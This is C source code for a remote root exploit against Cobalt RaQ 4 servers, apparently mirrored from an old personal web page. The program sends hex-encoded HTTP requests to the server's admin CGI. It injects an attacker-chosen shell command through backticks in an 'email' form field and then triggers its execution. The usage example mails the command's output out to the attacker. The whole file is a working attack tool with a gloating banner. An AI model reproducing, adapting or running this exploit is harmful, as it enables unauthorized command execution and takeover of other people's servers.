// RaQ 4 and possibly others easy remote root compromise
// due to a flaw in the Security Hardening package HEHE!
// Wouter ter Maat aka grazer - http://www.i-security.nl
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 81 /* default cobalt admin httpd  
                   try 444 if 81 runs with ssl */

// cmpstr
#define found "overflow" 
#define done "Starting"
#define exec "mail"

// prototypes
int banner();
int makereq(char *host, char *request, char *cmpstr, int port);

int main(int argc, char *argv[]) {
int retval, port;

char cmd[1024];
char cbuf[1024];
char request2[3096];

// evi1 requests
char request1[] = "\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x2e"
                  "\x63\x6f\x62\x61\x6c\x74\x2f\x6f\x76\x65\x72\x66\x6c\x6f"
                  "\x77\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x2e\x63\x67\x69"
                  "\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\n\x48\x6f\x73"
                  "\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\n\n\n";

char req_tmp[] = "\x50\x4f\x53\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x2e"
		 "\x63\x6f\x62\x61\x6c\x74\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77"
		 "\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x2e\x63\x67\x69\x20\x48"
		 "\x54\x54\x50\x2f\x31\x2e\x31\n\x41\x63\x63\x65\x70\x74\x3a\x20"
		 "\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69\x6d\x61\x67"
		 "\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20\x69\x6d"
		 "\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65"
		 "\x2f\x70\x6a\x70\x65\x67\x2c\x20\x2a\x2f\x2a\n\x41\x63\x63"
		 "\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x6e\x6c\n"
		 "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61"
		 "\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77"
		 "\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64"
		 "\x65\x64\n\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64"
		 "\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c"
		 "\x61\x74\x65\n\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20"
		 "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x3b\x29\n"
		 "\x48\x6f\x73\x74\x3a\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"
		 "\x3a\x38\x31\n";

char request3[] = "\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x2e\x63"
		  "\x6f\x62\x61\x6c\x74\x2f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x2f"
		  "\x6f\x76\x65\x72\x66\x6c\x6f\x77\x54\x65\x73\x74\x45\x6d\x61"
	          "\x69\x6c\x2e\x63\x67\x69\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\n"
	          "\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\n\n\n";

sprintf(cmd, "%s%s%s", "enabled=1&email=`", argv[2], "`&page=overflow\n\n");
sprintf(cbuf, "%s %d %s", "Content-Length:", strlen(cmd)-2, "\n\n");
sprintf(request2, "%s%s%s", req_tmp, cbuf, cmd);

banner();

  while(argc < 3) {
    fprintf(stderr, " %s    \n", argv[0]);
    fprintf(stderr, " example: www.cobalt.com \"id|mail you@addy\" 444\n");
    fprintf(stderr, " default port is set to 81. \n\n");
    exit(0); }

if(argc==3) {
port = PORT; }
else { 
port = atoi(argv[3]); }

retval = makereq(argv[1], request1, found, port); 

if(retval==2) { 
  printf(" - name cannot be resolved!\n"); 
 exit(0); } if(retval==3) { 
  printf(" - connect: connection refused! d0h!\n");
 exit(0); }

if(retval==404) { 
  printf(" - this machine is not vulnerable, dweep!\n"); 
 exit(0); }
else { 
  printf(" + ow yeah, we've found a victim!\n"); } 


printf(" ++ Enabling stackguard and creating evil config file...\n");

retval = makereq(argv[1], request2, done, port); 

 if(retval==404) {
   printf(" -- attack failed , sorry! \n"); 
  exit(0);}
 else { 
   printf(" +++ config file written succesfully ! \n"); } 

 printf(" ++++ Let's get our evil command executed...\n");


retval = makereq(argv[1], request3, exec, port); 

if(retval==404) { 
  printf(" --- attack failed, sorry! \n"); 
 exit(0);} 
else { 
printf(" +++++ The command : \"%s\"\n +++++ has been run on the server.\n\n", argv[2]); }

}

int banner() { 
printf("*************************************************\n");
printf("RaQ 4 remote root exploit - grazer@digit-labs.org\n");
printf("Vulnerable : RaQ4 with Security Hardening Update.\n");
printf("             isn't it ironic? :]                 \n");
printf("*************************************************\n"); }

int makereq(char *host, char *request, char *cmpstr, int port) {

int fd, sock, chk;
char buf[2000];

struct sockaddr_in addr; 
struct hostent *lh;

if ((lh=gethostbyname(host)) == NULL){
             return 2; }

bzero(&(addr.sin_zero), 8);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *((struct in_addr *) lh-> h_addr);

fd = socket(AF_INET, SOCK_STREAM, 0);

if (connect(fd,(struct sockaddr *) &addr ,sizeof(addr)) != 0){
                return 3;
	}

send(fd, request, strlen(request), 0);
read(fd, buf, 500);
if(strstr(buf, cmpstr)!=0) { 
return 200; } else { 
return 404; }

close(fd);
return 1;
}

    Source: geocities.com/ijookeren/localexp

               ( geocities.com/ijookeren)